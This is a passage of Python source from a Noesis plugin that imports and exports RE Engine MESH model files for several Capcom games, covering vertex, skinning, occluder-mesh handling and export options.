vertElemHeaders[normalIndex][2] + (vertElemHeaders[normalIndex][1] * vertsBefore), 4)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\trapi.rpgBindNormalBufferOfs(vertexBuffer, noesis.RPGEODATA_BYTE, vertElemHeaders[normalIndex][1], vertElemHeaders[normalIndex][2] + (vertElemHeaders[normalIndex][1] * vertsBefore))\n\t\t\t\t\t\t\t\tif bTANGsEnabled:\n\t\t\t\t\t\t\t\t\trapi.rpgBindTangentBufferOfs(vertexBuffer, noesis.RPGEODATA_BYTE, vertElemHeaders[normalIndex][1], 4 + vertElemHeaders[normalIndex][2] + (vertElemHeaders[normalIndex][1] * vertsBefore))\n\t\t\t\t\t\ttry:\n\t\t\t\t\t\t\trapi.rpgSetUVScaleBias(NoeVec3((self.uvBias[names[nameRemapTable[materialID]]][0], 1, 1)), NoeVec3((self.uvBias[names[nameRemapTable[materialID]]][1], 0, 0)))\n\t\t\t\t\t\texcept:\n\t\t\t\t\t\t\trapi.rpgSetUVScaleBias(NoeVec3((1,1,1)), NoeVec3((0,0,0)))\n\t\t\t\t\t\tif uvIndex != -1 and bUVsEnabled:\n\t\t\t\t\t\t\trapi.rpgBindUV1BufferOfs(vertexBuffer, noesis.RPGEODATA_HALFFLOAT, vertElemHeaders[uvIndex][1], vertElemHeaders[uvIndex][2] + (vertElemHeaders[uvIndex][1] * vertsBefore))\n\t\t\t\t\t\tif uv2Index != -1 and bUVsEnabled:\n\t\t\t\t\t\t\trapi.rpgBindUV2BufferOfs(vertexBuffer, noesis.RPGEODATA_HALFFLOAT, vertElemHeaders[uv2Index][1], vertElemHeaders[uv2Index][2] + (vertElemHeaders[uv2Index][1] * vertsBefore))\n\t\t\t\t\t\t\n\t\t\t\t\t\tif weightIndex != -1 and bSkinningEnabled and bDoSkin:\n\t\t\t\t\t\t\t#rapi.rpgSetBoneMap(boneRemapTable)\n\t\t\t\t\t\t\trapi.rpgSetBoneMap(self.fullRemapTable)\n\t\t\t\t\t\t\tidxList = []\n\t\t\t\t\t\t\tstart = vertexStartIndex + vertElemHeaders[weightIndex][2] + (vertElemHeaders[weightIndex][1] * vertsBefore)\n\t\t\t\t\t\t\tif isSF6 == True:\n\t\t\t\t\t\t\t\tfor v in range(numVerts):\n\t\t\t\t\t\t\t\t\tbs.seek(start + vertElemHeaders[weightIndex][1] * v)\n\t\t\t\t\t\t\t\t\tfor bID in range(3):\n\t\t\t\t\t\t\t\t\t\tidxList.append(bs.readBits(10)+fullRemapOffs)\n\t\t\t\t\t\t\t\t\tbs.readBits(2)\n\t\t\t\t\t\t\t\t\tfor bID in range(3):\n\t\t\t\t\t\t\t\t\t\tidxList.append(bs.readBits(10)+fullRemapOffs)\n\t\t\t\t\t\t\t\t\tidxList.extend([0,0])\n\t\t\t\t\t\t\t\tidxBuff = struct.pack(\"<\" + 'H'*len(idxList), *idxList)\n\t\t\t\t\t\t\t\trapi.rpgBindBoneIndexBufferOfs(idxBuff, noesis.RPGEODATA_USHORT, 16, 0, 8)\n\t\t\t\t\t\t\telif fullBonesOffs:\n\t\t\t\t\t\t\t\tfor v in range(numVerts):\n\t\t\t\t\t\t\t\t\tbs.seek(start + vertElemHeaders[weightIndex][1] * v)\n\t\t\t\t\t\t\t\t\tfor w in range(8):\n\t\t\t\t\t\t\t\t\t\tidxList.append(bs.readUByte()+fullRemapOffs)\n\t\t\t\t\t\t\t\tidxBuff = struct.pack(\"<\" + 'H'*len(idxList), *idxList)\n\t\t\t\t\t\t\t\trapi.rpgBindBoneIndexBufferOfs(idxBuff, noesis.RPGEODATA_USHORT, 16, 0, 8)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\trapi.rpgBindBoneIndexBufferOfs(vertexBuffer, noesis.RPGEODATA_UBYTE, vertElemHeaders[weightIndex][1], vertElemHeaders[weightIndex][2] + (vertElemHeaders[weightIndex][1] * vertsBefore), 8)\n\t\t\t\t\t\t\trapi.rpgBindBoneWeightBufferOfs(vertexBuffer, noesis.RPGEODATA_UBYTE, vertElemHeaders[weightIndex][1], vertElemHeaders[weightIndex][2] + (vertElemHeaders[weightIndex][1] * vertsBefore) + 8, 8)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tif colorIndex != -1 and bColorsEnabled:\n\t\t\t\t\t\t\toffs = vertElemHeaders[colorIndex][2] + (vertElemHeaders[colorIndex][1] * vertsBefore)\n\t\t\t\t\t\t\tif offs + numVerts*4 < len(vertexBuffer):\n\t\t\t\t\t\t\t\trapi.rpgBindColorBufferOfs(vertexBuffer, noesis.RPGEODATA_UBYTE, vertElemHeaders[colorIndex][1], offs, 4)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\tprint(\"WARNING:\", meshName, \"Color buffer would have been read out of bounds by provided indices\", \"\\n\tBuffer Size:\", len(vertexBuffer), \"\\n\tRequired Size:\", offs + numVerts*4)\n\t\t\t\t\t\t\t\n\t\t\t\t\t\tif numFaces > 0:\n\t\t\t\t\t\t\tbs.seek(faceBuffOffs + (facesBefore * 2))\n\t\t\t\t\t\t\tindexBuffer = bs.readBytes(numFaces * 2)\n\t\t\t\t\t\t\tif bRenderAsPoints:\n\t\t\t\t\t\t\t\trapi.rpgCommitTriangles(None, noesis.RPGEODATA_USHORT, (meshVertexInfo[j][4] - (vertsBefore)), noesis.RPGEO_POINTS, 0x1)\n\t\t\t\t\t\t\telse:\n\t\t\t\t\t\t\t\trapi.rpgSetStripEnder(0x10000)\n\t\t\t\t\t\t\t\t\n\t\t\t\t\t\t\t\trapi.rpgCommitTriangles(indexBuffer, noesis.RPGEODATA_USHORT, numFaces, noesis.RPGEO_TRIANGLE, 0x1)\n\t\t\t\t\t\t\t\trapi.rpgClearBufferBinds()\n\t\t\t\t\t\n\t\t\t\t\tnumVertsLOD += meshVertexInfo[j][4]\n\t\t\t\t\t\n\t\t\t\t'''try:\n\t\t\t\t\tmdl = rapi.rpgConstructModelAndSort()\n\t\t\t\t\tif mdl.meshes[0].name.find(\"_\") == 4:\n\t\t\t\t\t\tprint (\"\\nWARNING: Noesis split detected!\\n Export this mesh to FBX with the advanced option '-fbxmeshmerge'\\n\")\n\t\t\t\t\t\trapi.rpgOptimize()\n\t\t\t\texcept:\n\t\t\t\t\tmdl = NoeModel()\n\t\t\t\tmdl.setBones(self.boneList)\n\t\t\t\tmdl.setModelMaterials(NoeModelMaterials(self.texList, self.matList))\n\t\t\t\tmdlList.append(mdl)'''\n\t\t\t\t\n\t\t\t\tif not bImportAllLODs:\n\t\t\t\t\tbreak\n\t\t\t\t\n\t\t\tprint (\"\\nMESH Material Count:\", matCount)\n\t\t\tif bLoadedMats:\n\t\t\t\tprint (\"MDF Material Count:\", len(self.matList))\n\t\t\t\n\t\tif occluderMeshOffs:\n\t\t\t#ctx = rapi.rpgCreateContext()\n\t\t\t#rapi.rpgSetOption(noesis.RPGOPT_TRIWINDBACKWARD, 1)\n\t\t\tbs.seek(occluderMeshOffs)\n\t\t\toccluderMeshCount = bs.readUInt()\n\t\t\tuknFloat = bs.readFloat()\n\t\t\toccluderMeshesOffset = bs.readUInt64()\n\t\t\tbs.seek(occluderMeshesOffset)\n\t\t\toccluderMeshes = []\n\t\t\tlastVertPos = vertBuffOffs\n\t\t\tlastFacesPos = faceBuffOffs\n\t\t\tfor i in range(occluderMeshCount):\n\t\t\t\tdataOffset = bs.readUInt64()\n\t\t\t\tbs.seek(dataOffset)\n\t\t\t\tuknBytes = [bs.readByte(), bs.readByte(), bs.readByte(), bs.readByte(), bs.readByte(), bs.readByte(), bs.readByte(), bs.readByte()]\n\t\t\t\tvertexCount = bs.readUInt()\n\t\t\t\tindexCount = bs.readUInt()\n\t\t\t\tukn = bs.readUInt()\n\t\t\t\tindexCount2 = bs.readUInt()\n\t\t\t\toccluderMeshes.append([uknBytes, vertexCount, indexCount])\n\t\t\t\tbs.seek(lastVertPos)\n\t\t\t\tvertexBuffer = bs.readBytes(12 * vertexCount)\n\t\t\t\tlastVertPos = bs.tell()\n\t\t\t\tbs.seek(lastFacesPos)\n\t\t\t\tindexBuffer = bs.readBytes(indexCount * 2)\n\t\t\t\tlastFacesPos = bs.tell()\n\t\t\t\tmeshName = \"OccluderMesh_\" + str(i)\n\t\t\t\tif (dialogOptions.dialog and len(dialogOptions.dialog.loadItems) > 1) or isSCN:\n\t\t\t\t\tmeshName = rapi.getLocalFileName(self.path).split(\".\")[0].replace(\"_\", \"\") + \"_\" + meshName\n\t\t\t\trapi.rpgSetName(meshName) \n\t\t\t\trapi.rpgBindPositionBuffer(vertexBuffer, noesis.RPGEODATA_FLOAT, 12)\n\t\t\t\trapi.rpgSetStripEnder(0x10000)\n\t\t\t\ttry:\n\t\t\t\t\trapi.rpgCommitTriangles(indexBuffer, noesis.RPGEODATA_USHORT, indexCount, noesis.RPGEO_TRIANGLE, 0x1)\n\t\t\t\t\trapi.rpgClearBufferBinds()\n\t\t\t\t\t'''try:\n\t\t\t\t\t\tmdl = rapi.rpgConstructModelAndSort()\n\t\t\t\t\t\tif mdl.meshes[0].name.find(\"_\") == 4:\n\t\t\t\t\t\t\tprint (\"\\nWARNING: Noesis split detected!\\n Export this mesh to FBX with the advanced option '-fbxmeshmerge'\\n\")\n\t\t\t\t\t\t\trapi.rpgOptimize()\n\t\t\t\t\texcept:\n\t\t\t\t\t\tmdl = NoeModel()\n\t\t\t\t\tmdlList.append(mdl)'''\n\t\t\t\texcept:\n\t\t\t\t\tprint(\"Failed to read Occluder Mesh\")\n\t\t\t\t\t\n\t\tprint (deferredWarning)\n\t\t\n\t\treturn 1 #mdlList\n\n\ndef meshLoadModel(data, mdlList):\n\t\n\tnoesis.logPopup()\n\tprint(\"\\n\\n\tRE Engine MESH model import\", Version, \"by alphaZomega\\n\")\n\t\n\tctx = rapi.rpgCreateContext()\n\tmesh = meshFile(data)\n\tmesh.setGameName()\n\tdialogOptions.motDialog = None\n\tdialogOptions.dialog = None\n\tdialogOptions.currentDir = \"\"\n\tdialog = openOptionsDialogImportWindow(None, None, {\"mesh\":mesh})\n\tdialog.path = rapi.getInputName()\n\tdialog.createMeshWindow()\n\t\n\twhile dialogOptions.motDialog and dialogOptions.motDialog.isOpen:\n\t\tdialogOptions.motDialog.createMotlistWindow()\n\t\tdialogOptions.motDialog.isOpen = False\n\t\tif dialog.isOpen:\n\t\t\tdialogOptions.currentDir = dialog.currentDir\n\t\t\tdialog.createMeshWindow()\n\t\n\tif not dialog.isCancelled:\n\t\tfor fullMeshPath in dialog.fullLoadItems:\n\t\t\tmeshToLoad = meshFile(rapi.loadIntoByteArray(fullMeshPath), fullMeshPath)\n\t\t\tmeshToLoad.fullBoneList = dialog.pak.fullBoneList\n\t\t\tmeshToLoad.fullRemapTable = dialog.pak.fullRemapTable\n\t\t\tmeshToLoad.fullTexList = dialog.pak.fullTexList\n\t\t\tmeshToLoad.fullMatList = dialog.pak.fullMatList\n\t\t\tmeshToLoad.loadMeshFile()\n\t\ttry:\n\t\t\tmdl = rapi.rpgConstructModelAndSort()\n\t\t\tif mdl.meshes[0].name.find(\"_\") == 4:\n\t\t\t\tprint (\"\\nWARNING: Noesis split detected!\\n Export this mesh to FBX with the advanced option '-fbxmeshmerge'\\n\")\n\t\texcept:\n\t\t\tprint(\"Failed to construct model from rpgeo context\")\n\t\t\tmdl = NoeModel()\n\telse:\n\t\tmdl = NoeModel()\n\t\n\tdoLoadAnims = (dialogOptions.motDialog and dialogOptions.motDialog.loadItems and not dialogOptions.motDialog.isCancelled)\n\tif doLoadAnims:\n\t\tmlDialog = dialogOptions.motDialog\n\t\tsortedMlists = []\n\t\tfor mlist in [mlDialog.loadedMlists[path] for path in mlDialog.fullLoadItems]:\n\t\t\tif mlist not in sortedMlists:\n\t\t\t\tsortedMlists.append(mlist)\n\t\tmotlist = mlDialog.pak\n\t\tmdl.setBones(dialog.pak.fullBoneList)\n\t\tcollapseBones(mdl, 100)\n\t\tbones = list(mdl.bones)\n\t\tmdlBoneNames = [bone.name.lower() for bone in bones]\n\t\tfor mlist in sortedMlists:\n\t\t\tmlist.meshBones = bones\n\t\t\tmlist.readBoneHeaders(mlDialog.loadItems)\n\t\t\tfor bone in mlist.bones:\n\t\t\t\tif bone.name.lower() not in mdlBoneNames:\n\t\t\t\t\tbone.index = len(bones)\n\t\t\t\t\tbones.append(bone)\n\t\tanims = []\n\t\tstartFrame = 0\n\t\tfor mlist in sortedMlists:\n\t\t\tmlist.bones = bones\n\t\t\tmlist.readBoneHeaders(mlDialog.loadItems)\n\t\t\tmlist.totalFrames = startFrame\n\t\t\tmlist.read(mlDialog.loadItems)\n\t\t\tstartFrame = mlist.totalFrames\n\t\tfor mlist in sortedMlists:\n\t\t\tmlist.makeAnims(mlDialog.loadItems)\n\t\t\tanims.extend(mlist.anims)\n\t\tmdl.setBones(bones)\n\t\tmdl.setAnims(anims)\n\t\trapi.setPreviewOption(\"setAnimSpeed\", \"60.0\")\n\telse:\n\t\tmdl.setBones(dialog.pak.fullBoneList)\n\t\t\n\tmdl.setModelMaterials(NoeModelMaterials(dialog.pak.fullTexList, dialog.pak.fullMatList))\n\t\n\tif len(dialog.loadItems) > 1:\n\t\tif dialogOptions.reparentHelpers and not doLoadAnims:\n\t\t\tcollapseBones(mdl, 1)\n\t\tif noesis.optWasInvoked(\"-bonenumbers\"):\n\t\t\tgenerateBoneMap(mdl)\n\tmdlList.append(mdl)\n\t\n\tboneNames = {}\n\tfor i, bone in enumerate(mdl.bones):\n\t\tif bone.name.lower() in boneNames:\n\t\t\tprint(\"Duplicate Bone Name:\", bone.name)\n\t\t\tcollapseBones(mdl, 1)\n\t\t\tbreak\n\t\tboneNames[bone.name.lower()] = True\n\t\n\treturn 1\n\n\ndef getSameExtFilesInDir(filename=None, ext=None):\n\text = ext or os.path.splitext(rapi.getOutputName())[-1]\n\tfilename = filename or rapi.getOutputName()\n\tsourceList = []\n\tfor item in os.listdir(os.path.dirname(rapi.getOutputName())):\n\t\tif os.path.splitext(item)[1] == ext:\n\t\t\tsourceList.append(os.path.join(os.path.dirname(filename), item))\n\treturn sourceList\n\ndef getExportName(fileName, exportType=\".mesh\"):\n\tglobal w1, w2, bWriteBones, bReWrite, bRigToCoreBones, bDoVFX, openOptionsDialog #, doLOD\n\tbReWrite = False; bWriteBones = False; w1 = 127; w2 = -128\n\tsourceList = []\n\tif fileName == None:\n\t\tmeshExt = os.path.splitext(rapi.getOutputName())[-1]\n\t\tnewMeshName = rapi.getExtensionlessName(rapi.getOutputName().replace(\"out.\", \".\")).replace(\".mesh\", \"\").replace(meshExt, \"\") + \".mesh\" + meshExt\n\t\togFileName = rapi.getLocalFileName(newMeshName)\n\t\tsimilarityCounter = 0\n\t\tfor item in os.listdir(os.path.dirname(rapi.getOutputName())):\n\t\t\tif os.path.splitext(item)[1] == meshExt:\n\t\t\t\tsourceList.append(os.path.join(os.path.dirname(newMeshName), item))\n\t\t\t\tsameCharCntr = 0\n\t\t\t\tfor c, char in enumerate(rapi.getExtensionlessName(item)): \n\t\t\t\t\tif c < len(ogFileName) and char == ogFileName[c]:\n\t\t\t\t\t\tsameCharCntr += 1\n\t\t\t\tif sameCharCntr > similarityCounter:\n\t\t\t\t\tsimilarityCounter = sameCharCntr\n\t\t\t\t\tnewMeshName = os.path.join(os.path.dirname(newMeshName), item)\n\telse:\n\t\tnewMeshName = fileName\n\t\n\tif bNewExportMenu:\n\t\topenOptionsDialog = openOptionsDialogExportWindow(1000, 195, {\"filepath\":newMeshName, \"exportType\":exportType}) #int(len(newMeshName)*7.5)\n\t\topenOptionsDialog.createMeshWindow()\n\t\tnewMeshName = openOptionsDialog.filepath or newMeshName\n\t\tif openOptionsDialog.doCancel:\n\t\t\tnewMeshName = None\n\t\telse: \n\t\t\tif openOptionsDialog.doRewrite:\n\t\t\t\tnewMeshName = newMeshName + \" -rewrite\"\n\t\t\tif openOptionsDialog.doWriteBones:\n\t\t\t\tnewMeshName = newMeshName + \" -bones\"\n\t\t\tif openOptionsDialog.doVFX:\n\t\t\t\tnewMeshName = newMeshName + \" -vfx\"\n\telse:\n\t\tnewMeshName = noesis.userPrompt(noesis.NOEUSERVAL_FILEPATH, \"Export over \" + exportType.upper(), \"Choose a \" + exportType.upper() + \" file to export over\", newMeshName, None)\n\n\tif newMeshName == None:\n\t\tprint(\"Aborting...\")\n\t\treturn\n\t\t\n\tif noesis.optWasInvoked(\"-flip\") or newMeshName.find(\" -flip\") != -1:\n\t\tnewMeshName = newMeshName.replace(\" -flip\", \"\")\n\t\tprint (\"Exporting with OpenGL handedness\")\n\t\tw1 = -128; w2 = 127\n\t\t\n\tif noesis.optWasInvoked(\"-vfx\") or newMeshName.find(\" -vfx\") != -1:\n\t\tnewMeshName = newMeshName.replace(\" -vfx\", \"\")\n\t\tbDoVFX = True\n\t\tprint (\"Exporting VFX mesh\")\n\t\n\tif noesis.optWasInvoked(\"-bones\") or newMeshName.find(\" -bones\") != -1:\n\t\tnewMeshName = newMeshName.replace(\" -bones\", \"\")\n\t\tprint (\"Exporting with new skeleton...\")\n\t\tbWriteBones = True\n\t\t\n\tif newMeshName.find(\" -rewrite\") != -1:\n\t\tnewMeshName = newMeshName.replace(\" -rewrite\", \"\")\n\t\tprint (\"Exporting with new skeleton, Group and Submesh order...\")\n\t\tbReWrite = True\n\t\tbWriteBones = True\n\t\t\n\tif newMeshName.find(\" -match\") != -1:\n\t\tnewMeshName = newMeshName.replace(\" -match\", \"\")\n\t\tprint (\"Unmatched bones will be rigged to the hips and spine\")\n\t\tbRigToCoreBones = True\n\t\t\n\treturn newMeshName\n\t\n#===========================================================================================================================================\n#MESH EXPORT\n\t\ndef meshWriteModel(mdl, bs):\n\n\tglobal sExportExtension, w1, w2, bWriteBones, bReWrite, bRigToCoreBones, bAddBoneNumbers, sGameName, bNewExportMenu, bDoVFX, isSF6 #doLOD\n\t\n\tbWriteBones = noesis.optWasInvoked(\"-bones\")\n\tbReWrite = noesis.optWasInvoked(\"-rewrite\")\n\tbNewExportMenu = noesis.optWasInvoked(\"-adv\") or bNewExportMenu\n\t\n\tw1 = 127; w2 = -128\n\tif noesis.optWasInvoked(\"-flip\"): \n\t\tw1 = -128; w2 = 127\n\t\t\n\tif bAlwaysRewrite or noesis.optWasInvoked(\"-b\"):\n\t\tbReWrite = True\n\tif bAlwaysWriteBones:\n\t\tbWriteBones = True\n\t\n\tmeshesToExport = mdl.meshes\n\tbDoUV2 = False\n\tbDoSkin = False\n\tbDoColors = False\n\tbAddNumbers = False\n\tf = None\n\tnewMeshName = \"\"\n\tbDoVFX = noesis.optWasInvoked(\"-vfx\") or (openOptionsDialog and openOptionsDialog.doVFX)\n\tnumLODs = 1\n\tdiff = 0\t\n\tmeshVertexInfo = []\n\tvertElemCountB = 5\t\n\tnewScale = (1 / fDefaultMeshScale)\n\tsubmeshes = []\n\t\n\t\n\tdef padToNextLine(bitstream):\n\t\twhile bitstream.tell() % 16 != 0:\n\t\t\tbitstream.writeByte(0)\n\t\t\t\n\tdef dot(v1, v2):\n\t\treturn sum(x*y for x,y in zip(v1,v2))\t\n\t\t\t\n\tdef cross(a, b):\n\t\tc = [a[1]*b[2] - a[2]*b[1],\n\t\t\t a[2]*b[0] - a[0]*b[2],\n\t\t\t a[0]*b[1] - a[1]*b[0]]\n\t\treturn c\n\t\t\n\tdef checkReWriteMeshes():\n\t\tglobal bReWrite\n\t\tnonlocal submeshes, meshesToExport, bDoSkin\n\t\tfor i in objToExport:\n\t\t\tobj = meshesToExport[i]\n\t\t\tsName = obj.name.lower().split('_')\n\t\t\tif len(sName) < 8:\n\t\t\t\tprint(\"WARNING! Cannot rewrite mesh, an object is missing its material name\\nObject Name:\", obj.name, \"\\nMeshes for ReWrite should have 7 underscores in their names.\\nExporting with new skeleton...\")\n\t\t\t\tbReWrite = False\n\t\t\t\tsubmeshes = []\n\t\t\t\tbreak\n\t\t\telse:\n\t\t\t\tsubmeshes.append(copy.copy(obj))\n\t\tif bReWrite and not bDoSkin: #if still true\n\t\t\tsubmeshBoneCount = 0\n\t\t\tfor bone in mdl.bones:\n\t\t\t\tfor mesh in submeshes:\n\t\t\t\t\tif bone.name == mesh.name: #fbx is stupid and adds submeshes as bones to boneless meshes\n\t\t\t\t\t\tsubmeshBoneCount = submeshBoneCount + 1\n\t\t\t\t\t\tbreak\n\t\t\tif len(mdl.bones) > 0 and len(mdl.bones) - submeshBoneCount > 0:\n\t\t\t\tbDoSkin = True\n\t\t\t\t\t\n\t#Prompt for source mesh to export over / export options:\n\tdef showOptionsDialog():\n\t\tglobal bReWrite\n\t\tnonlocal bDoSkin, submeshes, f, newMeshName\n\t\tfileName = None\n\t\tif noesis.optWasInvoked(\"-meshfile\"):\n\t\t\tnewMeshName = noesis.optGetArg(\"-meshfile\")\n\t\t\tif noesis.optWasInvoked(\"-adv\"):\n\t\t\t\tnewMeshName = getExportName(newMeshName)\n\t\t\tif newMeshName:\n\t\t\t\tnewMesh = rapi.loadIntoByteArray(newMeshName)\n\t\t\t\tf = NoeBitStream(newMesh)\n\t\t\t\treturn newMeshName\n\t\telse:\n\t\t\tnewMeshName = getExportName(fileName)\n\t\tif newMeshName == None:\n\t\t\treturn 0\n\t\twhile not bReWrite and not rapi.checkFileExists(newMeshName):\n\t\t\tprint (\"File not found!\")\n\t\t\tnewMeshName = getExportName(fileName)\t\n\t\t\tfileName = newMeshName\n\t\t\tif newMeshName == None:\n\t\t\t\treturn 0\n\t\tif not bReWrite:\t\t\n\t\t\tnewMesh = rapi.loadIntoByteArray(newMeshName)\n\t\t\tf = NoeBitStream(newMesh)\n\t\telse:\n\t\t\tcheckReWriteMeshes()\n\t\t\tif not bReWrite:\n\t\t\t\tshowOptionsDialog()\n\t\t\n\tprint (\"\t\t----\" + Version + \" by alphaZomega----\\nOpen fmt_RE_MESH.py in your Noesis plugins folder to change global exporter options.\\nExport Options:\\n Input these options in the `Advanced Options` field to use them, or use in CLI mode\\n -flip = OpenGL / flipped handedness (fixes seams and inverted lighting on some models)\\n -bones = save new skeleton from Noesis to the MESH file\\n -bonenumbers = Export with bone numbers, to save a new bone map\\n -meshfile [filename]= Input the location of a [filename] to export over that file\\n -noprompt = Do not show any prompts\\n -rewrite = save new MainMesh and SubMesh order (also saves bones)\\n -vfx = Export as a VFX mesh\\n -b = Batch conversion mode\\n -adv = Show Advanced Options dialog window\\n\") #\\n -lod = export with additional LODGroups\") # \n\t\n\text = os.path.splitext(rapi.getOutputName())[1]\n\tRERTBytes = 0\n\t\n\tsGameName = \"RE2\" \n\tif ext.find(\".1808282334\") != -1:\n\t\tsGameName = \"DMC5\"\n\telif ext.find(\".1902042334\") != -1:\n\t\tsGameName = \"RE3\"\n\telif ext.find(\".2102020001\") != -1:\n\t\tsGameName = \"ReVerse\"\n\telif ext.find(\".2101050001\") != -1:\n\t\tsGameName = \"RE8\"\n\telif (ext.find(\".2109108288\") != -1) or (ext.find(\".220128762\") != -1): #RE2/RE3RT, and RE7RT\n\t\tsGameName = \"RERT\"\n\t\tRERTBytes = 8\n\telif ext.find(\".2109148288\") != -1: #MHRise Sunbreak\n\t\trealGameName = \"MHRise Sunbreak\"\n\t\tsGameName = \"RERT\"\n\t\tRERTBytes = 8\n\telif ext.find(\".2008058288\") != -1: #Vanilla MHRise\n\t\tsGameName = \"MHRise\"\n\telif ext.find(\".230110883\") != -1 or ext.find(\".220721329\") != -1: \n\t\tsGameName = \"SF6\"\n\t\tisSF6 = True\n\telif ext.find(\".220907984\") != -1:\n\t\tsGameName = \"ExoPrimal\"\n\t\tisSF6 = 2\n\telif ext.find(\".221108797\") != -1:\n\t\tsGameName = \"RE4\"\n\t\tisSF6 = 2\n\t\t\n\tsetOffsets(formats[sGameName][\"meshVersion\"])\n\t\n\tprint (\"\\n\t\t\t\t \", realGameName if 'realGameName' in locals() else sGameName, \"\\n\")\n\t\n\t#merge Noesis-split meshes back together:\n\tif meshesToExport[0].name.find(\"_\") == 4 and meshesToExport[0].name != meshesToExport[0].sourceName:\n\t\tmeshesToExport = recombineNoesisMeshes(mdl)\n\t\n\t#Remove Blender numbers from all names\n\tfor mesh in mdl.meshes:\n\t\tif mesh.name.find('.') != -1:\n\t\t\tprint (\"Renaming Mesh \" + str(mesh.name) + \" to \" + str(mesh.name.split('.')[0]))\n\t\t\tmesh.name = mesh.name.split('.')[0]\n\t\tif len(mesh.lmUVs) == 0: #make sure UV2 exists\n\t\t\tmesh.lmUVs = mesh.uvs\n\t\n\t#sort by name (if FBX reorganized):\n\tmeshesToExport = sort_human(meshesToExport) \n\t\n\t#Validate meshes are named correctly\n\tobjToExport = []\n\tfor i, mesh in enumerate(meshesToExport):\n\t\tss = mesh.name.lower().split('_')\t\t\t\n\t\tif len(ss) >= 6:\n\t\t\tif ss[1].isnumeric() and ss[3].isnumeric() and ss[5].isnumeric():\n\t\t\t\tobjToExport.append(i)\n\t\t\t\t\n\tif bReWrite:\n\t\tif noesis.optWasInvoked(\"-adv\"): # and noesis.optWasInvoked(\"-noprompt\"):\n\t\t\tnewMeshName = getExportName(rapi.getOutputName() or None)\n\t\tcheckReWriteMeshes()\n\telse:\n\t\tshowOptionsDialog()\n\n\tif f:\n\t\tmagic = f.readUInt()\n\t\tif magic != 1213416781:\n\t\t\tnoesis.messagePrompt(\"Not a MESH file.\\nAborting...\")\n\t\t\treturn 0\t\t\n\t\tbonesOffs = readUIntAt(f, bonesOffsLocation)\n\t\tif bonesOffs > 0:\n\t\t\tbDoSkin = True\n\t\n\tif not bReWrite:\n\t\tif newMeshName != None:\n\t\t\tprint(\"Source Mesh:\\n\", newMeshName)\n\t\telse:\n\t\t\treturn 0\n\t\t\t\n\tif bDoSkin:\n\t\tprint (\" Rigged mesh detected, exporting with skin weights...\")\n\telse:\n\t\tprint(\" No rigging detected\")\n\t\t\n\textension = os.path.splitext(rapi.getInputName())[1]\n\tvertElemCount = 3 \n\n\n\t#check if exporting bones and create skin bone map if so:\n\tif bDoSkin:\n\t\tvertElemCount += 1\n\t\tbonesList = []\n\t\tnewSkinBoneMap = []\n\t\tmaxBones = 1024 if isSF6 else 256\n\t\t\n\t\tif (bReWrite or bWriteBones) and dialogOptions.doCreateBoneMap:\n\t\t\tgenerateBoneMap(mdl)\n\t\t\n\t\tif bAddBoneNumbers == 1 or noesis.optWasInvoked(\"-bonenumbers\"):\n\t\t\tbAddNumbers = True\n\t\telif bAddBoneNumbers == 2:\n\t\t\tif len(mdl.bones) > maxBones:\n\t\t\t\tprint (\"Model has more than\", maxBones, \"bones, auto-enabling bone numbers...\")\n\t\t\t\tbAddNumbers = True\n\t\t\telse:\n\t\t\t\tfor bone in mdl.bones:\n\t\t\t\t\tif bone.name.find(':') != -1:\n\t\t\t\t\t\tbAddNumbers = True\n\t\t\t\t\t\tprint (bone.name, \"has a \\':\\' (colon) in its name, auto-enabling bone numbers...\")\n\t\t\t\t\t\tbreak\n\t\t\n\t\tif (bReWrite or bWriteBones) and bForceRootBoneToBone0 and mdl.bones[0] != None and mdl.bones[0].name.lower() != \"root\" and mdl.bones[len(mdl.bones)-1].name.lower() == \"root\":\n\t\t\tprint(\"WARNING: root is not bone[0], reorganizing heirarchy...\")\n\t\t\tsortedBones = list(mdl.bones)\n\t\t\trootIdx = len(sortedBones)-1\n\t\t\tsortedBones.remove(sortedBones[rootIdx])\n\t\t\tsortedBones.insert(0, mdl.bones[rootIdx])\n\t\t\tfor i, bone in enumerate(sortedBones):\n\t\t\t\tbone.index = i\n\t\t\t\tif bone.parentIndex == rootIdx:\n\t\t\t\t\tbone.parentIndex = 0\n\t\t\t\telif bone.parentIndex != -1:\n\t\t\t\t\tbone.parentIndex = bone.parentIndex + 1\n\t\t\tmdl.bones = tuple(sortedBones)\n\t\t\tfor mesh in mdl.meshes:\n\t\t\t\tfor weightsList in mesh.weights:\n\t\t\t\t\tindicesList = list(weightsList.indices)\n\t\t\t\t\tfor i, idx in enumerate(indicesList):\n\t\t\t\t\t\tif idx == rootIdx:\n\t\t\t\t\t\t\tidx = 0\n\t\t\t\t\t\telse:\n\t\t\t\t\t\t\tindicesList[i] = idx + 1\n\t\t\t\t\tweightsList.indices = tuple(indicesList)\n\t\t\n\t\tfor i, bone in enumerate(mdl.bones):\n\t\t\tif bone.name.find('_') == 8 and bone.name.startswith(\"bone\"):\n\t\t\t\tprint (\"Renaming Bone \" + str(bone.name) + \" to \" + bone.name[9:len(bone.name)] )\n\t\t\t\tbone.name = bone.name[9:len(bone.name)] #remove Noesis duplicate numbers\n\t\t\tif bone.name.find('.') != -1:\n\t\t\t\tprint (\"Renaming Bone \" + str(bone.name) + \" to \" + str(bone.name.split('.')[0]))\n\t\t\t\tbone.name = bone.name.split('.')[0] #remove blender numbers\n\t\t\t\n\t\t\tif bone.name.find(':') != -1:\n\t\t\t\tbonesList.append(bone.name.split(':')[1]) #remove bone numbers\n\t\t\t\tif len(newSkinBoneMap) < maxBones:\n\t\t\t\t\tnewSkinBoneMap.append(i)\n\t\t\telse:\n\t\t\t\tbonesList.append(bone.name)\n\t\t\t\tif not bAddNumbers and len(newSkinBoneMap) < maxBones:\n\t\t\t\t\tnewSkinBoneMap.append(i)\n\t\t\t\t\t\n\t\tif bAddNumbers and len(newSkinBoneMap) == 0: #in case bone numbers is on but the skeleton has no bone numbers:\n\t\t\tprint (\"WARNING: No bone numbers detected, only the first\", maxBones, \"bones will be rigged\")\n\t\t\tbAddNumbers = False\n\t\t\tfor i, bone in enumerate(mdl.bones):\n\t\t\t\tif len(newSkinBoneMap) < maxBones:\n\t\t\t\t\tnewSkinBoneMap.append(i)\n\t\n\tnewBBOffs = 0\n\n\t#OLD WAY (reading source file, no rewrite):\n\t#====================================================================\n\tif 